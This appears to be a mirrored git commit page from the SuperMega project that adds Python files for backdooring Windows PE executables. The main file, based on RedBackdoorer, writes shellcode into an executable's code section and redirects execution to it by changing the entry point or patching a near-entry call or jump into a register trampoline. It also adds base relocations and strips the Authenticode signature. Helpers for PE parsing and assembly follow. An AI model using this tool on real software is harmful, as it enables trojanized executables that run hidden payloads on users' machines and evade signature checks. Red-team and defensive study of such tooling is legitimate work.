mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: remove derbackdoorer/ dir into peparser/ to pe/
This commit is contained in:
@@ -0,0 +1,264 @@
|
||||
#!/usr/bin/python3
|
||||
#
|
||||
# Based on the original RedBackdoorer by Mariusz Banach
|
||||
#
|
||||
|
||||
import random
|
||||
import textwrap
|
||||
import pefile
|
||||
import capstone
|
||||
import keystone
|
||||
from enum import IntEnum
|
||||
import logging
|
||||
|
||||
from helper import hexdump
|
||||
from pe.mype import MyPe
|
||||
from model.defs import *
|
||||
|
||||
logger = logging.getLogger("DerBackdoorer")
|
||||
|
||||
|
||||
class PeBackdoor:
|
||||
def __init__(self, mype: MyPe, main_shc: bytes, inject_mode: InjectStyle):
|
||||
self.mype: MyPe = mype
|
||||
self.runMode: InjectStyle = inject_mode
|
||||
self.shellcodeData: bytes = main_shc
|
||||
|
||||
# Working
|
||||
self.shellcodeOffset: int = 0 # from start of the file
|
||||
self.shellcodeOffsetRel: int = 0 # from start of the code section
|
||||
self.backdoorOffsetRel: int = 0 # from start of the code section
|
||||
|
||||
|
||||
def injectShellcode(self):
|
||||
sect = self.mype.get_code_section()
|
||||
if sect == None:
|
||||
logger.error('Could not find code section in input PE file!')
|
||||
return False
|
||||
sect_name = sect.Name.decode().rstrip('\x00')
|
||||
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
|
||||
logger.debug(f'Backdooring {sect_name} section.')
|
||||
|
||||
if sect_size < len(self.shellcodeData):
|
||||
logger.critical(f'''Input shellcode is too large to fit into target PE executable code section!
|
||||
Shellcode size : {len(self.shellcodeData)}
|
||||
Code section size : {sect_size}
|
||||
''')
|
||||
|
||||
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
||||
logger.debug(f'Inserting shellcode into 0x{offset:x} offset.')
|
||||
|
||||
self.mype.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
||||
self.shellcodeOffset = offset
|
||||
self.shellcodeOffsetRel = offset - sect.PointerToRawData
|
||||
|
||||
rva = self.mype.pe.get_rva_from_offset(offset)
|
||||
|
||||
p = sect.PointerToRawData + sect.SizeOfRawData - 64
|
||||
graph = textwrap.indent(f'''
|
||||
Beginning of {sect_name}:
|
||||
{textwrap.indent(hexdump(self.mype.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
|
||||
|
||||
Injected shellcode in the middle of {sect_name}:
|
||||
{hexdump(self.shellcodeData, offset, 64)}
|
||||
|
||||
Trailing {sect_name} bytes:
|
||||
{hexdump(self.mype.pe.get_data(self.mype.pe.get_rva_from_offset(p)), p, 64)}
|
||||
''', '\t')
|
||||
|
||||
logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:x}')
|
||||
logger.debug(graph)
|
||||
return True
|
||||
|
||||
|
||||
def setupShellcodeEntryPoint(self):
|
||||
if self.runMode == InjectStyle.ChangeEntryPoint:
|
||||
rva = self.mype.pe.get_rva_from_offset(self.shellcodeOffset)
|
||||
self.mype.set_entrypoint(rva)
|
||||
|
||||
logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:x}')
|
||||
return True
|
||||
|
||||
elif self.runMode == InjectStyle.BackdoorCallInstr:
|
||||
return self.backdoorEntryPoint()
|
||||
|
||||
#elif self.runMode == int(PeBackdoor.SupportedRunModes.HijackExport):
|
||||
# addr = self.getExportEntryPoint()
|
||||
# if addr == -1:
|
||||
# logger.critical('Could not find any export entry point to hijack! Specify existing DLL Exported function with -e/--export!')
|
||||
#
|
||||
# return self.backdoorEntryPoint(addr)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def getExportEntryPoint(self):
|
||||
dec = lambda x: '???' if x is None else x.decode()
|
||||
|
||||
#exportName = self.options.get('export', '')
|
||||
exportName = ""
|
||||
if len(exportName) == 0:
|
||||
logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export')
|
||||
|
||||
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||
self.mype.pe.parse_data_directories(directories=d)
|
||||
|
||||
if self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
|
||||
logger.error('No DLL exports found! Specify existing DLL Exported function with -e/--export!')
|
||||
return -1
|
||||
|
||||
exports = [(e.ordinal, dec(e.name)) for e in self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols]
|
||||
|
||||
for export in exports:
|
||||
logger.debug(f'DLL Export: {export[0]} {export[1]}')
|
||||
if export[1].lower() == exportName.lower():
|
||||
|
||||
addr = self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
|
||||
logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:x} . Attempting to hijack it...')
|
||||
return addr
|
||||
|
||||
return -1
|
||||
|
||||
|
||||
def backdoorEntryPoint(self, addr = -1):
|
||||
imageBase = self.mype.pe.OPTIONAL_HEADER.ImageBase
|
||||
self.shellcodeAddr = self.mype.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
|
||||
|
||||
cs = None
|
||||
ks = None
|
||||
|
||||
if self.mype.arch == 'x86':
|
||||
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN)
|
||||
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN)
|
||||
else:
|
||||
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
|
||||
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
|
||||
|
||||
cs.detail = True
|
||||
|
||||
ep = addr
|
||||
|
||||
if addr == -1:
|
||||
ep = self.mype.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
|
||||
ep_ava = ep + self.mype.pe.OPTIONAL_HEADER.ImageBase
|
||||
data = self.mype.pe.get_memory_mapped_image()[ep:ep+128]
|
||||
offset = 0
|
||||
|
||||
logger.debug('Entry Point disasm:')
|
||||
|
||||
disasmData = self.mype.pe.get_memory_mapped_image()
|
||||
output = self.mype.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
|
||||
|
||||
# store offset... by calculating it first FUCK
|
||||
section = self.mype.get_code_section()
|
||||
self.backdoorOffsetRel = output - section.VirtualAddress
|
||||
|
||||
if output != 0:
|
||||
logger.debug('Now disasm looks like follows: ')
|
||||
|
||||
disasmData = self.mype.pe.get_memory_mapped_image()
|
||||
self.mype.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
|
||||
|
||||
logger.debug('\n[>] Inserted backdoor code: ')
|
||||
for instr in cs.disasm(bytes(self.compiledTrampoline), output):
|
||||
self.mype.printInstr(instr, 1)
|
||||
|
||||
logger.debug('')
|
||||
self.mype.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
|
||||
|
||||
else:
|
||||
logger.error('Did not find suitable candidate for Entry Point branch hijack!')
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def getBackdoorTrampoline(self, cs, ks, instr):
|
||||
trampoline = ''
|
||||
addrOffset = -1
|
||||
|
||||
registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']
|
||||
|
||||
if self.mype.arch == 'x86':
|
||||
registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi']
|
||||
|
||||
reg = random.choice(registers).upper()
|
||||
reg2 = random.choice(registers).upper()
|
||||
|
||||
while reg2 == reg:
|
||||
reg2 = random.choice(registers).upper()
|
||||
|
||||
enc, count = ks.asm(f'MOV {reg}, 0x{self.shellcodeAddr:x}')
|
||||
for instr2 in cs.disasm(bytes(enc), 0):
|
||||
addrOffset = len(instr2.bytes) - instr2.addr_size
|
||||
break
|
||||
|
||||
found = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
|
||||
found |= instr.mnemonic.lower() == 'call'
|
||||
|
||||
if found:
|
||||
logger.info(f'Backdooring entry point {instr.mnemonic.upper()} instruction at 0x{instr.address:x} into:')
|
||||
|
||||
jump = random.choice([
|
||||
f'CALL {reg}',
|
||||
|
||||
#
|
||||
# During my tests I found that CALL reg works stabily all the time, whereas below two gadgets
|
||||
# are known to crash on seldom occassions.
|
||||
#
|
||||
|
||||
#f'JMP {reg}',
|
||||
#f'PUSH {reg} ; RET',
|
||||
])
|
||||
|
||||
trampoline = f'MOV {reg}, 0x{self.shellcodeAddr:x} ; {jump}'
|
||||
|
||||
for ins in trampoline.split(';'):
|
||||
logger.info(f'\t{ins.strip()}')
|
||||
|
||||
logger.info('')
|
||||
|
||||
return (trampoline, addrOffset)
|
||||
|
||||
|
||||
def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth):
|
||||
encoding = b''
|
||||
count = 0
|
||||
|
||||
if depth < 2:
|
||||
return 0
|
||||
|
||||
(trampoline, addrOffset) = self.getBackdoorTrampoline(cs, ks, instr)
|
||||
|
||||
if len(trampoline) > 0:
|
||||
encoding, count = ks.asm(trampoline)
|
||||
self.mype.pe.set_bytes_at_rva(instr.address, bytes(encoding))
|
||||
|
||||
relocs = (
|
||||
instr.address + addrOffset,
|
||||
)
|
||||
|
||||
pageRva = 4096 * int((instr.address + addrOffset) / 4096)
|
||||
self.mype.addImageBaseRelocations(pageRva, relocs)
|
||||
|
||||
self.trampoline = trampoline
|
||||
self.compiledTrampoline = encoding
|
||||
self.compiledTrampolineCount = count
|
||||
|
||||
logger.info('Successfully backdoored entry point with jump/call to shellcode')
|
||||
return instr.address
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
def removeSignature(self):
|
||||
addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
|
||||
size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
|
||||
|
||||
self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size)
|
||||
|
||||
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
||||
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
||||
|
||||
logger.info('PE executable Authenticode signature removed.')
|
||||
return True
|
||||
+199
@@ -0,0 +1,199 @@
|
||||
import pefile
|
||||
import capstone
|
||||
from enum import IntEnum
|
||||
import logging
|
||||
|
||||
from helper import hexdump
|
||||
|
||||
logger = logging.getLogger("MyPe")
|
||||
|
||||
|
||||
class MyPe():
|
||||
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
||||
IMAGE_DIRECTORY_ENTRY_TLS = 9
|
||||
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
IMAGE_REL_BASED_HIGH = 1
|
||||
IMAGE_REL_BASED_LOW = 2
|
||||
IMAGE_REL_BASED_HIGHLOW = 3
|
||||
IMAGE_REL_BASED_HIGHADJ = 4
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.pe = None
|
||||
|
||||
|
||||
def openFile(self, infile):
|
||||
self.pe = pefile.PE(infile, fast_load=False)
|
||||
self.pe.parse_data_directories()
|
||||
|
||||
self.ptrSize = 4
|
||||
self.arch = self.getFileArch()
|
||||
if self.arch == 'x64':
|
||||
self.ptrSize = 8
|
||||
|
||||
|
||||
def getFileArch(self):
|
||||
if self.pe.FILE_HEADER.Machine == 0x014c:
|
||||
return "x86"
|
||||
|
||||
if self.pe.FILE_HEADER.Machine == 0x8664:
|
||||
return "x64"
|
||||
|
||||
raise Exception("Unsupported PE file architecture.")
|
||||
|
||||
|
||||
def get_code_section(self):
|
||||
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
for sect in self.pe.sections:
|
||||
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
|
||||
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
|
||||
return sect
|
||||
return None
|
||||
|
||||
|
||||
def get_code_section_data(self) -> bytes:
|
||||
sect = self.get_code_section()
|
||||
return bytes(sect.get_data())
|
||||
|
||||
|
||||
def write_code_section_data(self, data: bytes):
|
||||
sect = self.get_code_section()
|
||||
self.pe.set_bytes_at_offset(sect.PointerToRawData, data)
|
||||
|
||||
|
||||
def getSectionIndexByDataDir(self, dirIndex):
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
|
||||
|
||||
i = 0
|
||||
for sect in self.pe.sections:
|
||||
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
|
||||
return i
|
||||
i += 1
|
||||
|
||||
logger.error(f'Could not find section with directory index {dirIndex}!')
|
||||
return -1
|
||||
|
||||
|
||||
def getRemainingRelocsDirectorySize(self):
|
||||
relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
|
||||
return out
|
||||
|
||||
|
||||
def getSectionIndexByName(self, name):
|
||||
i = 0
|
||||
for sect in self.pe.sections:
|
||||
if sect.Name.decode().lower().startswith(name.lower()):
|
||||
return i
|
||||
i += 1
|
||||
|
||||
logger.error(f'Could not find section with name {name}!')
|
||||
return -1
|
||||
|
||||
|
||||
def addImageBaseRelocations(self, pageRva, relocs):
|
||||
assert pageRva > 0
|
||||
|
||||
if not self.pe.has_relocs():
|
||||
logger.error("No .reloc section")
|
||||
raise(Exception("No .reloc section"))
|
||||
|
||||
imageBaseRelocType = MyPe.IMAGE_REL_BASED_HIGHLOW
|
||||
if self.arch == 'x64':
|
||||
imageBaseRelocType = MyPe.IMAGE_REL_BASED_DIR64
|
||||
|
||||
logger.info('Adding new relocations to backdoored PE file...')
|
||||
|
||||
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
|
||||
relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
|
||||
sizeOfReloc = 2 * len(relocs) + 2 * 4
|
||||
|
||||
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
|
||||
self.logger.warn('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
|
||||
self.logger.warn(' Will try disabling relocations on output file. Expect corrupted executable though!')
|
||||
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
|
||||
return
|
||||
|
||||
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
|
||||
|
||||
# VirtualAddress
|
||||
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
|
||||
|
||||
# SizeOfBlock
|
||||
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
|
||||
|
||||
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
|
||||
|
||||
i = 0
|
||||
for reloc in relocs:
|
||||
reloc_offset = (reloc - pageRva)
|
||||
reloc_type = imageBaseRelocType << 12
|
||||
|
||||
relocWord = (reloc_type | reloc_offset)
|
||||
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
|
||||
logger.info(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
|
||||
i += 1
|
||||
|
||||
|
||||
## Helpers
|
||||
|
||||
def get_entyrpoint(self) -> int:
|
||||
return self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
|
||||
def set_entrypoint(self, entrypoint: int):
|
||||
self.pe.OPTIONAL_HEADER.AddressOfEntryPoint = entrypoint
|
||||
|
||||
|
||||
def write(self, outfile: str):
|
||||
self.pe.write(outfile)
|
||||
|
||||
|
||||
def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
|
||||
return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
|
||||
|
||||
|
||||
def printInstr(self, instr, depth):
|
||||
_bytes = [f'{x:02x}' for x in instr.bytes[:8]]
|
||||
if len(instr.bytes) < 8:
|
||||
_bytes.extend([' ',] * (8 - len(instr.bytes)))
|
||||
|
||||
instrBytes = ' '.join([f'{x}' for x in _bytes])
|
||||
logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
|
||||
|
||||
|
||||
def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
|
||||
if depth > maxDepth:
|
||||
return 0
|
||||
|
||||
data = disasmData[startOffset:startOffset + length]
|
||||
|
||||
for instr in cs.disasm(data, startOffset):
|
||||
self.printInstr(instr, depth)
|
||||
|
||||
if len(instr.operands) == 1:
|
||||
operand = instr.operands[0]
|
||||
|
||||
if operand.type == capstone.CS_OP_IMM:
|
||||
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:x}')
|
||||
logger.debug('')
|
||||
|
||||
if callback:
|
||||
out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
|
||||
if out != 0:
|
||||
return out
|
||||
|
||||
if depth + 1 <= maxDepth:
|
||||
out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
|
||||
return out
|
||||
|
||||
if not callback:
|
||||
return 1
|
||||
|
||||
return 0
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
import sys
|
||||
import pefile
|
||||
import pprint
|
||||
from keystone import Ks, KS_ARCH_X86, KS_MODE_64
|
||||
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
|
||||
import logging
|
||||
|
||||
from model.defs import *
|
||||
|
||||
logger = logging.getLogger("PEHelper")
|
||||
|
||||
|
||||
# PEHelper
|
||||
# Work directly on PE files. Not using mype or other abstractions.
|
||||
# Its mostly used for verification of what we were doing.
|
||||
|
||||
|
||||
def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
|
||||
pe = pefile.PE(exe_file)
|
||||
section = get_code_section(pe)
|
||||
data: bytes = section.get_data()
|
||||
data = remove_trailing_null_bytes(data)
|
||||
|
||||
ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
ep_raw = get_physical_address(pe, ep)
|
||||
|
||||
data = data[ep_raw:ep_raw+len]
|
||||
|
||||
pe.close()
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def get_physical_address(pe, virtual_address):
|
||||
# Iterate through the section headers to find which section contains the VA
|
||||
for section in pe.sections:
|
||||
# Check if the VA is within the range of this section
|
||||
if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
|
||||
# Calculate the difference between the VA and the section's virtual address
|
||||
virtual_offset = virtual_address - section.VirtualAddress
|
||||
# Add the difference to the section's pointer to raw data
|
||||
return virtual_offset
|
||||
#physical_address = section.PointerToRawData + virtual_offset
|
||||
#return physical_address
|
||||
return None
|
||||
|
||||
|
||||
def extract_code_from_exe_file(exe_file: FilePath) -> bytes:
|
||||
pe = pefile.PE(exe_file)
|
||||
section = get_code_section(pe)
|
||||
data: bytes = section.get_data()
|
||||
data = remove_trailing_null_bytes(data)
|
||||
logger.debug("---[ Extract code section size: {} / {}".format(
|
||||
len(data), section.Misc_VirtualSize))
|
||||
pe.close()
|
||||
return data
|
||||
|
||||
|
||||
def write_code_section(exe_file: FilePath, new_data: bytes):
|
||||
pe = pefile.PE(exe_file)
|
||||
section = get_code_section(pe)
|
||||
file_offset = section.PointerToRawData
|
||||
with open(exe_file, 'r+b') as f:
|
||||
f.seek(file_offset)
|
||||
f.write(new_data)
|
||||
pe.close()
|
||||
|
||||
|
||||
def get_code_section(pe: pefile.PE) -> pefile.SectionStructure:
|
||||
entrypoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
for sect in pe.sections:
|
||||
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
|
||||
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
|
||||
return sect
|
||||
raise Exception("Code section not found")
|
||||
|
||||
|
||||
# keystone/capstone stuff
|
||||
|
||||
def assemble_lea(current_address: int, destination_address: int, reg: str) -> bytes:
|
||||
#print("LEAH: 0x{:X} - 0x{:X} = 0x{:X}".format(
|
||||
# current_address, destination_address, destination_address - current_address))
|
||||
offset = destination_address - current_address
|
||||
ks = Ks(KS_ARCH_X86, KS_MODE_64)
|
||||
encoding, _ = ks.asm(f"lea {reg}, qword ptr ds:[{offset}]")
|
||||
machine_code = bytes(encoding)
|
||||
return machine_code
|
||||
|
||||
def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes:
|
||||
#logger.info(" Make jmp from 0x{:X} to 0x{:X}".format(
|
||||
# current_address, destination_address
|
||||
#))
|
||||
# Calculate the relative offset
|
||||
# For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx)
|
||||
offset = destination_address - current_address
|
||||
|
||||
# Assemble the jump instruction using Keystone
|
||||
ks = Ks(KS_ARCH_X86, KS_MODE_64)
|
||||
encoding, _ = ks.asm(f"call qword ptr ds:[{offset}]")
|
||||
machine_code = bytes(encoding)
|
||||
|
||||
# Disassemble the machine code using Capstone
|
||||
#cs = Cs(CS_ARCH_X86, CS_MODE_64)
|
||||
#disassembled = next(cs.disasm(machine_code, current_address))
|
||||
#logger.info(f"Machine Code: {' '.join(f'{byte:02x}' for byte in machine_code)}")
|
||||
#logger.info(f"Disassembled: {disassembled.mnemonic} {disassembled.op_str}")
|
||||
return machine_code
|
||||
|
||||
|
||||
## Utils
|
||||
|
||||
def remove_trailing_null_bytes(data: bytes) -> bytes:
|
||||
for i in range(len(data) - 1, -1, -1):
|
||||
if data[i] != b'\x00'[0]: # Check for a non-null byte
|
||||
return data[:i + 1]
|
||||
return b'' # If the entire sequence is null bytes
|
||||
@@ -0,0 +1,41 @@
|
||||
import r2pipe
|
||||
import os
|
||||
|
||||
from model.defs import *
|
||||
from helper import hexdump
|
||||
|
||||
def r2_disas(data: bytes):
|
||||
filename = "r2_data.bin"
|
||||
ret = {
|
||||
'text': None,
|
||||
'color': None,
|
||||
'hexdump': None,
|
||||
}
|
||||
|
||||
ret["hexdump"] = hexdump(data)
|
||||
|
||||
# r2 cant really handle shellcode when not in files...
|
||||
with open(filename, "wb") as f:
|
||||
f.write(data)
|
||||
code_len = len(data)
|
||||
|
||||
if code_len > 0x2000:
|
||||
ret['text'] = "Code too long for r2: {}".format(code_len)
|
||||
ret['color'] = "Code too long for r2: {}".format(code_len)
|
||||
return ret
|
||||
|
||||
r2 = r2pipe.open(filename, flags=['-2'])
|
||||
r2.cmd('aaa')
|
||||
|
||||
r2.cmd('e scr.color=0')
|
||||
ret['text'] = r2.cmd('pD {}'.format(code_len))
|
||||
ret['text'] = '\n'.join(ret['text'].splitlines()) # fix newlines
|
||||
|
||||
r2.cmd('e scr.color=2')
|
||||
ret['color'] = r2.cmd('pD {}'.format(code_len))
|
||||
ret['color'] = '\n'.join(ret['color'].splitlines()) # fix newlines
|
||||
|
||||
r2.quit()
|
||||
os.remove(filename)
|
||||
|
||||
return ret
|
||||
@@ -0,0 +1,49 @@
|
||||
from typing import List
|
||||
import pefile
|
||||
|
||||
|
||||
class PeSection():
|
||||
def __init__(self, pefile_section: pefile.SectionStructure):
|
||||
self.name: str = pefile_section.Name.rstrip(b'\x00').decode("utf-8")
|
||||
self.raw_addr: int = pefile_section.PointerToRawData
|
||||
self.raw_size: int = pefile_section.SizeOfRawData
|
||||
self.virt_addr: int = pefile_section.VirtualAddress
|
||||
self.virt_size: int = pefile_section.Misc_VirtualSize
|
||||
#self.permissions = pefile_section.Characteristics
|
||||
|
||||
|
||||
class SuperPe():
|
||||
"""Interact with a PE file using pefile"""
|
||||
|
||||
def __init__(self, pe: pefile.PE):
|
||||
self.pe: pefile.PE = pe
|
||||
self.pe_sections: List[PeSection] = []
|
||||
|
||||
|
||||
def init(self):
|
||||
for section in self.pe.sections:
|
||||
self.pe_sections.append(PeSection(section))
|
||||
|
||||
|
||||
def get_section_by_name(self, name: str) -> PeSection:
|
||||
for section in self.pe_sections:
|
||||
if section.name == name:
|
||||
return section
|
||||
return None
|
||||
|
||||
|
||||
def get_physical_address(self, virtual_address):
|
||||
# Iterate through the section headers to find which section contains the VA
|
||||
for section in self.pe.sections:
|
||||
# Check if the VA is within the range of this section
|
||||
if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
|
||||
# Calculate the difference between the VA and the section's virtual address
|
||||
virtual_offset = virtual_address - section.VirtualAddress
|
||||
# Add the difference to the section's pointer to raw data
|
||||
return virtual_offset
|
||||
#physical_address = section.PointerToRawData + virtual_offset
|
||||
#return physical_address
|
||||
return None
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user